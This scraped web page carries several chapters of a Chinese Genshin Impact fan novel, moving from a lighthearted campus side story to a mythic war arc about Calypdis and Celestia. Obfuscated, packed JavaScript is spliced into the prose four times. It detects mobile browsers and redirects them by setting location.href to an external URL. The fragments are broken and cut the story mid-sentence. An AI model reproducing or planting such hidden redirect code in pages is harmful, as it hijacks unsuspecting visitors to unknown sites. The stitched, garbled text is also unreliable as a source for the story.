RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687689|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “角落里的小蓝鱼那表情笑死我了,明明是闭着眼睛的,但是一股子无语意味扑面而来。” “小蓝鱼:一定要在我给孩子喂饭的时候上课吗?” “哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈” 静原心满意足的睡了。 第二天的早八课上,偷吃早餐的吃早餐,后排补觉的补觉,中排玩手机的玩手机,只有前排同学面对老师的死亡凝视,欲语泪先流。 静原是法学专业的辅导员,早八上课的时候,他在走廊来回巡视抓人。迟到的,吃早餐的,睡觉的,玩手机的,通通拍照发班级群教育——他不管,等会被书记抓到就完蛋啦。 刻晴书记可是很严厉的。 文学院的钟离老师侃侃而谈,法学院的那维莱特讲师指点江山,机械工程学院的雷电影老师在黑板上列算式,生物学院的纳西妲老师个子小小的,要搬个凳子踩才能够到讲台话筒。温迪老师在音乐学院,鉴于他之前早八起不来总是迟到的光荣事迹,教务处伊斯塔露排课表特意给他安排的上午第二节大课。 静原坐办公室等来香菱交检讨,顺便问了一下她家有没有考虑在学校南区新食堂开分店。 “店租这个折扣。”静原比了个六,晃了晃。香菱眼睛瞬间闪亮亮:“哇——老爸肯定会同意的!南区什么时候能建好啊?” 静原估摸着时间:“暑假的时候就开工了,等逐月节前怎么着都能招商开门营业。卯先生如果有意向,直接打电话给刻晴书记就好。” 香菱风风火火的去打电话问卯师傅了:“喂?老爸,万民堂开个分店到我学校来好不好啊?食堂的菜太难吃啦!” 在卯香菱同学的强烈要求和提瓦特大学师生们的热情欢迎中,万民堂(提瓦特大学分店)正式开门营业,南区食堂人满为患,一地的气球都被踩爆。 香菱的室友胡桃戳了戳盘子里的香辣蟹:“哇,这个螃蟹不会伸钳子!” 烟绯:“煮熟的螃蟹伸钳子才有问题吧!!!” “我自己蒸的螃蟹就会伸钳子夹我唉。” “那螃蟹死不瞑目……”烟绯叹气,“你这厨房杀手不要靠近食材。” 玛薇卡刚带完一节体育课,瞅见靠近操场的南区新食堂这么多人排队,顿时来了兴趣:“这么热闹?哪家菜这么好吃?” 玛拉妮抱着排球送回器材室,闻言扭头说:“就是我们之前打比赛,基尼奇推荐的那家餐馆,万民堂。他来学校开分店了,校内论坛好多人讨论这个呢。” “我想起来了,他们家的辣菜炖得很香。”玛薇卡恍然大悟,“今天下午你们没课吧?我带你们去校外吃。” 食堂人太多了,北区老食堂更是难吃,不如不吃。 一上午没有课,睡到日上三竿再起的芙宁娜收拾好出门准备买饭,在老食堂逛了半天,实在是难以下咽。默默去便利店买了草莓乳酸菌蛋糕切块,再加一盒泡面。 “唉……”小蛋糕很美味,但她也想吃点热乎乎的饭菜嘛。芙宁娜坐在奶茶店门口的小圆桌上啃蛋糕,等奶茶的功夫,蛋糕已经吃了一半。 这个口味的蛋糕酸酸的。 她用叉子把草莓挑起来吃掉,眼睛都被酸得闭起来。 “芙宁娜。”静原骑着小电驴在南区订完餐往办公室去,正巧看见面色苍白如纸的芙宁娜坐在店门口有气无力的啃蛋糕,就知道这臭丫头又没好好吃早餐午餐,“今天没早课就睡到现在才醒吗?” “卡吕普迪斯你怎么在这?”芙宁娜被他一嗓子吓一大跳,下意识把泡面藏身后,“这不是正在吃嘛,饭后小甜点。” 静原:“你看我信吗?赶紧上来,去我那吃饭。我记得你今天下午有话剧表演的课,小心我找芙卡洛斯老师告状。” “别告诉我姐,我马上来。”芙宁娜匆匆接过店员递来的奶茶,跨坐到小电驴后座。 芙卡洛斯和芙宁娜是姐妹,前者童星出道,连连跳级,所以比静原小一岁的她已经是学校的老师了。至于芙宁娜,这孩子本来就年纪小,中规中矩的上学上课,今年刚上大学。就读于艺术学院表演系,说是想当演员。 那维莱特,静原和她们俩姐妹是多年邻居。大学时期接送过初中生芙宁娜上下学,这孩子睡懒觉不吃早饭被抓包也不是一次两次了。 芙宁娜一个艺术生在文法的办公楼和老师们一起吃饭,乖巧得很。 钟离老师看这孩子坐在角落实在是安静,分了一盅三鲜汤给她:“卡吕普迪斯,这是你家的孩子?” 芙宁娜悄悄看了一眼静原,后者面色如常:“对,今年刚考进来。小姑娘追求体态管理不好好吃饭,我正发愁呢。” 地理学院来串门的若陀院长只看得到小女孩瘦瘦的骨腕,摇摇头:“现在的小姑娘哟,胖乎乎的才好看。” 你那是什么老年人审美。 “爱美之心人皆有之。”钟离对于年轻人总是更温和些的,“合力饮食就好。” 芙宁娜知道静原是在给她面子。要是说她懒鬼本性睡到中午再醒吃午饭,哪个老师会有好印象? 她环顾四周,只见到了文学院法学院的老师,以及隔壁串门约钟离去钓鱼的若陀院长。吃完饭喝了汤抹抹嘴,悄悄拉静原袖子问他:“那维莱特老师不在学校吗?” “法院今天开庭,他回去处理些事情。” 那维莱特本职工作其实是法官,还没干到审判长的地位,因为法院和提瓦特大学有合作,他就被派来兼职大学讲师,公开赚外快,课倒也不少。 芙宁娜就是好奇提一嘴,得到答案后就不再多言了。静原骑着小电驴给她送到宿舍楼下:“明天周末,芙卡洛斯有一场公演。你要是想去看记得早点跟她要票,不想看去我那吃饭。放你在学校实在是不放心。” “知道啦——”她拉长了语调,抱怨,“我在学校怎么就不让人放心了?又不会乱跑。” 静原冷哼一声:“我怕你饿死在床上都没人发现啊。常年手机静音,电话打不通,发消息也不回,白天不出门,晚上不睡觉,有时候我真怀疑你是蝙蝠投胎。” 芙宁娜严肃抗议:“蝙蝠也太难听了!!” 静原冷漠脸:“哦,那就是吸血鬼转世 。” “我就不能当个人吗?” “军训完半个月就把脸捂白的家伙,是人?” “卡吕普迪斯!我要跟那维莱特告状!!!” 104.番外 提瓦特大学生活日记(二) 每年九月开学没多久,校运会就得来一次。 静原只是个导员,就负责把工作群的通知转发到班级群里,让各班班长体委组织人报名就行。方阵是社团方面负责,自然有社团的老师带队处理。校运会放三天假,老师们也有三天假,说实话他还挺高兴的。 不过最忙的只有体院的老师。尤其是玛薇卡这个副院长,她刚刚带队参加完国家级的比赛回来,马不停蹄的就得负责校运会的活动事宜。 玛薇卡倒是不介意教务处排班紧凑,她喜欢热闹,也喜欢看着年轻的孩子们聚在一起比赛拼搏。 “和他们在一起,也会感觉自己年轻了很多呢。” 玛薇卡是这样说的,她笑起来就是相当明艳的美人,就像一轮灼烧着的太阳在挥洒光和热。 温迪老师从宿舍里被挖出来负责审核社团的表演项目,对于当下时兴的舞蹈曲目也有自己独到的见解,指导学生们做出相应的修改,改改动作调一下队形,让精气神更好些。然后就把二审工作交给隔壁经管的迪卢克负责,自己开始摸手机聊天去了。 迪卢克面无表情的坐在观众席上处理第二轮审核工作,帅哥冷脸带来的压迫感让社团中年轻的学生压力山大。直到看见外联社副社长,文学院外语专业的凯亚学长来才松了口气。 凯亚学长拎着奶茶好似神兵天降,救人于水深火热之中:“哎呀呀,好热闹呀。迪卢克,你怎么也在这里?可别吓到我们社团的学弟学妹们了。” 红发的迪卢克学长抱臂:“帮温迪老师审核而已,我没有吓唬人。” “笑一笑嘛,我哥长得这么帅,笑一笑造福大众,养眼也是好的。”凯亚说着把奶茶递给他,扭头去指导社团学弟学妹们。 其实就一个校运会的方阵表演活动,到真不至于说有多隆重。只是这是个明目张胆凑在一起热闹的活动,也是各学院学子展示自我的好场合,老师们有事要忙,很多事情都是让大二大三的帮忙看着。 外联社出的节目是踢踏舞,这对参演人员的要求比较高。但许多大一新生其实是不精通的,因此哪怕得到温迪的指点,二审前的表现也还是不太优秀。迪卢克是个恰好学过踢踏舞的低调富家公子,本来就不爱笑的脸加上审视的目光,成倍吓人。不怪新社员连连发消息摇人救命。 迪卢克一边喝奶茶一边摸自己的脸:有那么臭脸吗?他觉得还好啊。 “你好,借这几本书。” 艾尔海森把学生证和书递给图书管理员丽莎,这位慵懒的女士耳后别着紫色蔷薇花,那是友人琴送来的缠花小礼物。 艾尔海森借完书就回寝室去了,正好在走廊上看见班级体委在挨个劝说报名的事。 “怎么现在还在报名?不是说截止时间已经到了吗?”有人不解,有人发问。 体委无奈:“我也没办法啊。那边一看咱们班的报名人数,说是最低标准都没有达到,打回来要求再添一些人。我真没办法了。” “简直胡闹。体院那边怎么就不能多出几个人替我们参赛。”体委好兄弟骂骂咧咧都写上了自己的名字,“不用谢,好儿子。” “去你的。”体委笑骂一声,扭头离开好友寝室的时候正好看见艾尔海森在插钥匙开门,喜出望外,“艾尔海森!艾尔海森帮帮忙!挑个项目参加好不好?咱们班的指标就快达到最低要求了。” 艾尔海森脸不红心不跳:“我只是个手无缚鸡之力的文弱书生,不适合参加运动。” 体委:“你看着我的眼睛,摸摸你的肌肉再说一遍?” 艾尔海森移开视线。 体委几乎是抱着他的胳膊开嚎:“求你了哥,帮帮忙吧!咱们班人本来就少,我能动员的更少。求你了就参加一项,不要求名次,到点打卡凑个人头就好!求求你了~” “好好说话别撒娇。”艾尔海森看了一眼五大三粗的体委如此模样,微不可察的叹一声气,“我报名。” 体委是个热心肠的好人,刚开学那会艾尔海森看见他帮同样是刚入校还不熟悉环境的新生拎行李指认方向——完全自愿不求回报。平时相处也是粗中有细,没有让人不舒服的地方,这已经很难得了。 艾尔海森不讨厌这样的人。 体委恨不得抱住他亲两口,走之前给个飞吻:“好兄弟,我就知道危机关头还是你们靠得住。不打扰你学习啦,比赛那天我去给你加油!”* 艾尔海森:“……” 早知道有这么一出,刚刚就应该当做没看见径直进门的。 艾尔海森报名的是男子两千米长跑。 作为他导员的静原看到体委这小子递交上来的名单,颇感稀奇:“这孩子不是不爱聚集在人多的地方吗?你是怎么说服他参赛的?” 体委嘿嘿一笑:“因为我们是好兄弟嘛,别看艾尔海森不爱笑,其实他人真的很好。” 静原点点头:“好了,我会把名单交给玛薇卡老师的。辛苦你前前后后忙碌这么久,我刚刚点了奶茶,带回去和朋友们喝吧。” “哇塞导员儿你真好。”体委这傻小子走之前还被塞了把海盐杏仁太妃糖,乐颠颠的拎着刚送到楼下的一堆奶茶回去了。 静原骑着小电驴去体院那边找玛薇卡,把堪堪过及格线的名单交上去,被热情的挽留下来和他们一起去吃饭。 “游泳馆那边的比赛,你一定要去当裁判。”玛薇卡揽着他的肩膀说,“顺便帮我盯着那帮孩子,一定要让他们做好充足的热身准备,不然下水抽筋可就麻烦了。” 静原对当裁判这个事没什么异议,闻言点点头:“除了自由泳还比什么?” “我想想啊,50,100的自由泳,还有个今年新增加的水球比赛。听上去就很好玩。”玛薇卡眨眨眼睛,“你可是我认识的人这么多人里最好的的专业救生员,把这些孩子交给你,我很放心。” 新增加的比赛就意味着此前学校没有相对应的预案,具体会出什么岔子尚未可知。静原点点头:“行,把我名字加上。到时候我去守着。” 就是辛苦各班班长管一下看台了。 玛薇卡通常会带着她带的一些打比赛的学生去吃信得过的干净餐馆吃饭,静原今天纯靠交情蹭 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第一天上午开幕式,静原被文学院院长和玛薇卡开后门,占据了主席台上最好地带的位置之一。拿着手机录视频,势必要记录学生们的青春风采。 另一边,扛着“长枪短炮”专业摄影设备的夏洛蒂也凑到他旁边来,静原记得她:“你是新闻学专业的那个,夏洛蒂对吗?” “哇——老师你怎么知道我的名字?”夏洛蒂很惊讶,没想到自己居然会被陌生的老师叫出名字。 静原:“哦,我和你们院的导员认识,她说开学就染粉头发的女孩子不多,但是专业基本功很扎实。扛着摄影装备的粉毛大眼睛小姑娘就是。” 夏洛蒂:“这是被夸了还是被损了?” “当然是在夸你。好了来这边,这个位置好。记得多拍我们文学院的,拍得精神点,都是好孩子。你也是好孩子。” “老师,你怎么说话这么老成,像我爸那辈。但看着这么年轻呢。” “我们搞文学又带孩子的是这样的。” “哇,好可怕。” “哟,难道你们学新闻的不捏笔杆子?” “但我们不用带孩子。” “你们自己就是帮孩子。来了来了,你看那边就是我班上的小孩。”静原盯着手机显示的图像仔细瞧,发出疑惑,“怎么是……社团表演?” 观众席和看台上骤然爆发一阵猛烈的哄笑。 夏洛蒂看着一帮年轻男女大跳《彩色复活券》改编舞蹈,以及中央蹦哒得最欢的胡桃香菱行秋芙宁娜,决定多拍几张芙宁娜丑照。 主席台上的天理校长死亡凝视温迪:“巴巴托斯。” 你怎么筛选的。 温迪老师唉嘿一声:“这首歌多有活力呀,很符合年轻孩子们的喜好呢。” 天理看了一眼台下被女孩子们抬起来的纸糊的棺材和大大的“奠”字,只觉得阴得没边。 钟离喝了一口保温杯里的茶,当做啥也没看见。 105.海是天空倒影 你认为海是什么? 寒天之钉修补大地的裂痕,只是这次驱使它的并非天上的神明,而是来自血海的妖鬼。 至冬宫漂浮与血海中,那些猩红的液体并无血液的腥臭,只是带着温度。就像热泪滴在手背上那样。 【丑角】皮耶罗目光沉沉,注视着非人的宏大手笔。他身边的【公鸡】扶着手杖,眉眼隐没在帽檐的阴影下:“这就是水族的力量吗?” “那是海的力量,归属于七元素之一的水元素大权。”皮耶罗这个统括官不是白当的,各国高层都信息他都有收集,何况是活了上千年的长生种,“只是和枫丹的海不一样,他召唤出的这片海太过喧嚣沉重。” 就像元素使用者可以徒手召唤世界上存在的元素力为己所用,拥有水系相关权柄的非人也有自己的神通。[卡吕普迪斯]召唤的这片海,本来只是某处海洋在此方世界的投影。就像海市蜃楼那般,真实的那片血海并不在此处,而是更加遥远的地方。 皮耶罗从多托雷那里得知:像他们这种被一方土地承认并接纳的非人长生种,身上一定会有地区打下的标记。卡吕普迪斯区别与切片嘴明显的特征就是他那双眼睛。那双代表他被陆上大湖,枫丹承认并接纳的湖蓝色眼睛。 这些细微的不同在人类看来并不明显,但有心观察的话,其实很好区分。 眼前的这个借用切片卡帕身体降临的[卡吕普迪斯],他与他的海究竟发生了什么?以至于成为这种模样。 “你认为海是什么?” [卡吕普迪斯]刚占据卡帕的身体时,见到冰之女皇被问及来意后的一句话就是这个。 海是生命的摇篮,是万水终将汇聚之地——这个答案九成九的概率不会出错。 但[卡吕普迪斯]想听的,女皇想说的都不是这个。 女皇回答了他的问题:“海是天空的倒影。” 海是天空的倒影,曾发生在海上大国枫丹的痛苦全拜天空所赐。海沉默的注视着人与神都不敢无时无刻盯着的天空,海观测着虚假之天的奥秘,海推算着终将到来的[未来],海见证了天空的诸多暴行,海对祂失而复得的,可怜的孩子说:【我已然走到了末路,在此地等待终极的命运的降临】 【但你是不一样的,命运裹挟着你前进,却永远无法真正命令你如祂所愿】 过了很久很久很久,海的孩子才明白了祂当初的话。 “祂们都要我闭嘴,装聋作哑,乖巧的做一具提线木偶,如此才能当作无事发生。”人鱼笑起来,“我偏不。” “所以你来了。”女皇对他伸出手,“欢迎来到世界,逆流的苦行者。” “你认为海是什么?” 某日闲谈,那维莱特问静原这个问题。 静原毫不犹豫的回答:“海是我的母亲。” “我以为你会说海是天空倒影。”那维莱特注视着他的侧脸,他们站在欧庇克莱歌剧院临海的长台上,夕阳的碎金挥洒,“这句诗还挺有名。” “……你是感觉到了什么吗?咱俩在一起聊天很少会聊诗词歌赋之类的。”静原不明所以,“海怎么了?” 那维莱特思索片刻才道:“前不久,我感知到了属于水之大权的触动。这份力量我只向你和旅行者开放了借用权限。” “可让我疑惑的地方也就是这里:不管是你还是旅行者,本身实力都不容小觑。若是需要借用我的力量,面对的恐怕是难以想象的困境。但这次被借用的力量,正如江河之于海洋,并不多,也干不了什么大事,所以我有些好奇。” 家长问你你生活费莫名其妙少了几千,又没见你出门,干啥去了? 这个既视感让静原挠挠头,刚想说一句“我咋知道”,猛的反应过来:“这我还真知道。” 他看着那维莱特那双珍珠琉璃色的眼睛,突然感慨:“原来你是在问我知不知道他干了什么啊……没事的,[卡吕普迪斯]虽然精神不太正常,但是心里总归是有数的。” “我有些担心另一个你做出什么不理智的事,从前我无权约束他,但他使用了这份力量,也就是承认了我作为王存在吧。”那维莱特思索,“明明是应当高兴的事,但我心中担忧不减反增。” “所以告诉我吧,卡吕普迪斯。我想知道你们正在做什么——至少让我心中大石落地。” 静原只是叹息:“那维莱特,你认为海是什么?” 那维莱特说:“万水的发源地,生命的温床,水族的乐园。” 那维莱特说:“海也是天空的倒影,正如一面圆镜。” “是的,这就是提瓦特的海。”静原心想,这就是高天的镜子。祂沉默的注视着神明的施为和不作为。 世界本身就是一个巨大的谎言*。 提瓦特本身就是一场巨大的,不断嵌套的轮回试验。地脉与世界树作为全体生灵记忆的保存,也理所当然的成为重中之重。人与神共同的敌人深渊想要从地底破开屏障入侵,最先侵蚀的就是地脉。曾经纳塔的地脉在深渊的侵蚀下毁去,所以当地领袖与天使才建立了夜神之国,用来承载纳塔的历史与记忆。本质上,夜神之国就是纳塔的地脉。 枫丹当然也有它的地脉。但枫丹更特殊的地方在于它位于天空岛的正下方,在最接近天理的地方。大陆上的水全都发源自枫丹,流经诸国,最后汇聚。 水承载着生灵的思念,就像岩石承载着大地的力量与回忆那样。 在一次又一次的轮回试验中,本应作为无意识死物的海也萌生出祂最处的懵懂意识,然后被迫观看大地与山海间的惨剧。 在一次又一次的轮回试验中,祂明白了自己的终极的[命运],因为祂本身就是天空岛命运织机上的一部分。。 “然后从中诞生的,本不该存在我,则是被纺入其间的不和谐丝线。”人鱼抬手抚上自己的胸膛,感受着心脏的跳动,“海水的颜色让我能在最初融入,可随着时间线的推移,这种不和谐逐渐变得刺眼。纺织命运的女神想要将我裁去,但那样,自我之后衍生的命运线全都会变得空洞而苍白。” “因为你的底色已经与众生融为一体,对吗?”虽然这样问,那维莱特却早已知晓答案,“枫丹的民众承认你的存在,认可你的所作所为。流水又将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745105|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的信息传递诸国,让这世上认识你,与你产生联系的人更多。” 静原轻笑:“所以这还得感谢你,那维莱特。你当年授封我为大守护者的举动多年后救了我一命呢。” “其实我原本只想让你的存在更名正言顺一些……” “误打误撞,到也不错。” 那维莱特说:“这也是[命运]的一环。” 静原点头:“是的。也正因如此,我的[命运]才会坎坷。因为女神想要抽去我这根不和谐的丝线。” “原始胎海的赐福为你挡下了。”那维莱特明悟,“你本会在那个时刻死去……?” “这件事说来有些复杂。我在未来获得了[不死]的特性,是因为未来的我掌握了影响[命运]织造的能力。时间不是笔直向前,所以[未来]会改变[过去]。几年前我向人类形态转化的关键时期,在最初的最初是不用支付代价的。因为母亲爱我,所以我不会受到来自祂的苛责。但[未来]的我是个需要被铲除的毒瘤,所以在不久前,赐福成为了催命符。一旦我正式成为人类,放弃人鱼的身份,我与[未来]的我的联系就被斩断。那么[未来]的我就会因为这个驳论被抹除,也就不会有穿越时空而来的[卡吕普迪斯]。”静原摊手,“他只是[不死],但神明想要除去某个存在,手段并不单一,总有办法的。” 那维莱特眼神复杂:“这已经触碰到了【时间】与【空间】的力量。卡吕普迪斯,你的潜力不容小觑。” 静原:“可别说笑了,无论哪个我都不愿意激发这份潜力。我更喜欢打辅助。” 那维莱特沉思:“未来拯救过去*②……他救了你,至少纳塔是这样。” “现在改变未来。”静原表情平淡,“这并不矛盾,[过去]、[现在]、[未来],这是【时间】被确立后衍生而来的概念,[未来]的我已经掌握了这个理念,篡取了神的力量。” 那维莱特眼神柔和:“听起来非常了不起。” “不,那只是一个可怜虫最后的豪赌。无论[过去]、[现在]还是[未来],无论哪个我,本身都只是这次轮回试验的一部分。他跳上了神明的桌案,成为盗取力量的老鼠,而我还在神明构筑的棋盘内。”静原说,“我讨厌他,因为他成为了我预想中根本不会成为的模样。可我没有理由拒绝他,因为我们无路可退。” 因为最糟糕的结局无外乎就是此次轮回宣告失败,提瓦特再次重启时间线,从头再来。而下一次盛大的轮回,他将会死在诞生之处的冰冷洋流中。 [卡吕普迪斯]当然可以不死,因为他跳出了棋盘,可他无法割舍[过去]与[现在]那是他存在的根基。 静原不能成为自己的软肋,所以静原要证明自己可以成为他,证明他可以抵达那个未来。 那维莱特终于明白了自己多日的担忧源自何处,他发出一声悠长的叹息:“但是,为什么不能多信任我一些呢?” 年轻的水之龙目光温柔:“王在这里,你永远都有退路。” 万水之尊主宣告:“你当寻求我的庇护,因为我也将参与这场战争。” 106.动员 上有天理下有深渊,提瓦特人民的未来怎么不算是另一种程度的水深火热呢? 旅行者看着出现在至冬宫廷的[卡吕普迪斯],看着对方平淡的湖蓝色竖瞳,憋了半天也只有一句话:“你怎么又来了。” “自然是有我要做的事。”[卡吕普迪斯]的表情很少,他最近带着愚人众先遣队处理深渊的问题,脸都冻僵了。 派蒙歪着头看他:“不管怎么说,你肯定是有自己的想法和目标的。” [卡吕普迪斯]没有说话,只是静静的注视着他们。他的眼神依旧不带什么温度,但也没有敌视的意思,只是空空的,好像在透过他看着谁。 旅行者顿了顿,想起[卡吕普迪斯]的来处,叹了口气:“两个世界的人与物,你分的清吗?” [卡吕普迪斯]说:“不需要分清楚,因为都是一样的。” 只是选择不同而已。 很快人鱼亲王就离开了宫廷,旅行者与他擦肩而过,回头时注视着对方披散的蓝色长发,以及单薄衣衫下依旧未着寸缕的双脚。至冬如此冰冷的天气,他的脚背冻得青白,也没想过穿上鞋袜。 旅行者每次在至冬看见[卡吕普迪斯],都会想起温暖枫丹的那位怕冷又怕热的友人。对方也是总光着脚,说人鱼为了化形方便不穿鞋才是最好的。可对方也说,若天气太冷,他也会穿上鞋袜御寒。 明明都是一样的物种,明明在过去都是同一个人,为什么带给他的感觉会如此不同? 第三席的【少女】说:“或许对这种害怕孤独的小鱼来说,只有痛苦才不会忘记过去呢。” 少女眼前覆盖着轻薄的白纱,声音恍若天籁:“旅行者,你见过秋季的鲑鱼吗?” 旅行者:“怎么又扯到了鲑鱼?” 派蒙:“鲑鱼籽酱好吃!” “秋天,鲑鱼会从海洋洄游向陆上大湖,它们能靠嗅觉辨认出故乡流水的气味,抵达家乡。这是它们生命最后的旅途,因为当它们从海洋抵达河流,就会停止进食,把所有的精力都放在和水流搏斗上。湍急的激流,高高的瀑布和残暴的捕食者,都不能阻止他们*。”少女难得一口气说这样多的话。 “他就像一条不远万里从远海回到家乡的鲑鱼,再痛再冷都不能让他停下游动,因为种族的延续高于一切。” 派蒙挠挠头:“可他的家在枫丹呀……” 旅行者注视着少女轻快离去的背影,听见女孩的嗓音飘忽得很远:“枫丹的那条小鱼还没有长大呢。” 所以卡吕普迪斯不会用苦痛提醒自己莫要忘了来时路。 旅行者突然对[卡吕普迪斯]的真实年纪无比好奇。 “我吗?” 静原指了指自己:“怎么突然好奇我的年纪?” 公子说:“因为至冬宫那位和你长的几乎一模一样,但是脾气性格天差地别。我左思右想也没想明白……哎呀,就告诉我吧!” “我是一千岁出头,具体几年也没有记得很清楚。雷穆利亚王朝末期诞生的。”静原对达达利亚这种年纪的小朋友向来好说话,“听上去你和他有过交流,好奇他的年纪倒也正常。” “你跟他之间到底隔了多少年啊。”达达利亚不明白,“【少女】,就那个第三席,她说你还没有长大,那位却早已成年。” 静原:“仙灵族看长生种的年纪到底怎么看的。我这个年纪怎么说都都不算小啊。” 那维莱特都说他已经进入成年期了! 达达利亚也很无奈:“我怎么知道啊。” 不然他至于这么抓心挠肝的好奇,千里迢迢带着兵来枫丹联盟,找卡吕普迪斯本人聊天问吗? 此时战争已经进入到中期,各国联军携手对抗地下的深渊,枫丹这个就在天空岛眼皮子底下的国家居然也参与进对天理的反叛组织中去,并且时间还不算晚。 一开始明面上打头阵的是静原,大守护者旗帜鲜明的反抗天空岛,这让民间不明所以的群众都在好奇天空岛,那座传说中神明居住的岛屿的主人到底干了什么事。后来至冬那边来人,整合了天空岛毁灭文明的诸多暴行证据大肆宣扬,五百年前坎瑞亚灭国的案子赫然在列。 民间对于寒天之钉的讨论热度直线上涨,蒸汽鸟报社不知从哪来的消息渠道,将蒙德龙脊雪山山顶被毁灭的芬德尼尔古国文明,璃月层岩巨渊底下的旧遗迹残骸,稻妻鹤观岛三座空山,须弥沙漠达马山风暴中心的永恒绿洲等天空岛施以钉刑的罪证公之于众。 这一期报纸被加印加印加印又加印,比瘟疫传播的速度更快,风一般席卷七国。 蒙德冒险家啧啧称奇:“雪山山顶的云雾居然是在遮掩寒天之钉吗?话说前几年的夜里确实有震动,第二天在看,空中就闪烁着冰冷的银光。” “原来是寒天之钉升起了,我还以为是荣誉骑士炸了雪山啊。” “……荣誉骑士也没有这样残暴吧?” 璃月冒险家长吁短叹:“层岩巨渊地下的旧时代古国遗迹?原来在咱们璃月建立之前,这片土地下就有着文明存在啊。直接毁去一个文明吗?” “这个我知道。前些年去层岩勘测绘制地图,就在石壁上发现过一些古生物化石。是如今的提瓦特不存在的物种。” “层岩巨渊地下最深处?那可不是一般人能到达的地方啊。枫丹的报社怎么知道的这些消息?” 稻妻的冒险家:“鹤观岛,那座被云雾环绕,众人遗忘之岛吗?居然有着这样的渊源。” “不过那也太久远了……” “鹤观最有名的故事难道不是祭祀雷鸟吗?” 须弥的冒险家:“哎呀,旅行者去过达马山内部,是传说中花神安眠的永恒绿洲!” “这文章里哪里提到了旅行者?” “除了旅行者,还有哪个人类能够进入神明的安宁处?” “有哦。”护送来自雨林冒险家的镀金旅团女首领扬起笑容,“我去过。和旅行者一起去的。” “不止是我,还有我的父母。即使是神明的居所,人类也可以抵达。” 离开了纳塔的冒险家们凑在一起看报纸,低估着:“怎么没有我们纳塔?” “这种惨剧纳塔没有姓名也是件好事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795674|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “有道理耶。不过,大英雄和小向导他们的足迹真的遍布提瓦特呢。不愧是他们!” 看完报纸的静原:虽然一个字都没有提刀旅行者,但是字里行间都藏着旅行者这三个字。 这跟实名投稿有什么区别? 不过正因为有旅行者的名头做担保,七国子民直接或间接的体会到天空岛毁灭文明的意图是多么现实。只要文明发展走向不如祂们所愿,寒天之钉便从天而降。 至冬已经见证了冰寒的诅咒,血海将其托举隔离。也因此,至冬人对于天空岛的态度也是更为坚决的反抗。 静原还在枫丹安排科学院研究员们的去向,让机械去修建防空安全洞的时候,达达利亚又收到了至冬来信。 看完信后的达达利亚表情一变,向美露莘询问大守护者何在,然后直奔静原那。 “卡吕普迪斯,我想你需要看这封密信。” “至冬的军令?这我真的能看吗?”虽然这样反问,静原还是擦擦手把信拿过来。这封军令并不长,是让达达利亚带兵去蒙德。但重点是最后一张小纸片。 【卡吕普迪斯,见字如面。 不日后,巴巴托斯就会开启天空岛的传送法阵。我去天空岛,你到地下去。 去找到那棵树,切断它的根系,将一切焚烧殆尽。 卡吕普迪斯留。】 静原对这张小纸片看了又看,盯着达达利亚的脸瞧了又瞧。 “你这样看我做什么?” “太过震惊了,我一时半会很难处理好自己的情绪和行为。”静原扶着额头摇了摇,“我知道的,我会和那维莱特说一声再动身。” 达达利亚皱眉:“非得告诉他不可吗?” “只是出门前向家长报备去向。我和他都会安心。”静原说,“对了,你要去蒙德是吗?路过璃月沉玉谷的时候,替我带份礼物送一个人吧。” “谁?” “福勒依斯。” 福勒依斯看着眼前的青年很是惊讶:“至冬的孩子?你怎么会找到我这儿来了” “我替人送礼物来的。”达达利亚在半山腰的水潭边驻足,弯腰将礼盒递给纯水精灵,“虽然有地址,可想要找对地方真不容易。总是莫名其妙原地打转。” 福勒依斯无奈:“那是阵法啦。至冬的孩子,你要到哪去?我送你一程。” “谢了小姐,但是不用了。我的同胞就在山脚下等我。”达达利亚笑起来,“再见,福勒依斯小姐。” 登上天空岛几乎是一项有去无回的举动,达达利亚很清楚或许此生都不会再有机会和这位陌生的纯水精灵见面。就像卡吕普迪斯也明白他没法再见到朋友,所以托自己送诀别礼物来。 但是,“再见”还是要说的。万一他们赢了呢?万一他们就回来了呢?至冬等待了太久太久,就算不能赢,也绝不会输。 达达利亚想到这里只觉得浑身热血沸腾,他已经迫不及待想要见见天神的力量了。 只有福勒依斯对着礼盒中的那颗净水之心皱起眉头。 “卡吕普迪斯……?” 107.爆炸就是艺术 天空岛其实并不只是一座漂浮在天空中的岛屿。 它更像是一座城市,一座神明居住的天空之城。只是因为距离地面太过遥远,所以在地上的生灵看来,天空岛渺小得就像海中的一片孤岛。 巴巴托斯久违的穿上神装,在自己的神像那开启了宏伟的风场,送这些盟友们登上在过去人类不可冒犯亵渎的神国。 风神有着一双巨大的,类似鸟儿双翼一样的翅膀。纯白神圣,根根羽毛丰满,一看就是能乘着风飞得很好很远的有力翅膀。 但风神并不依靠翅膀飞翔,他拨动着琴弦,淡青色的,带着蒲公英絮的风元素在指尖流淌。 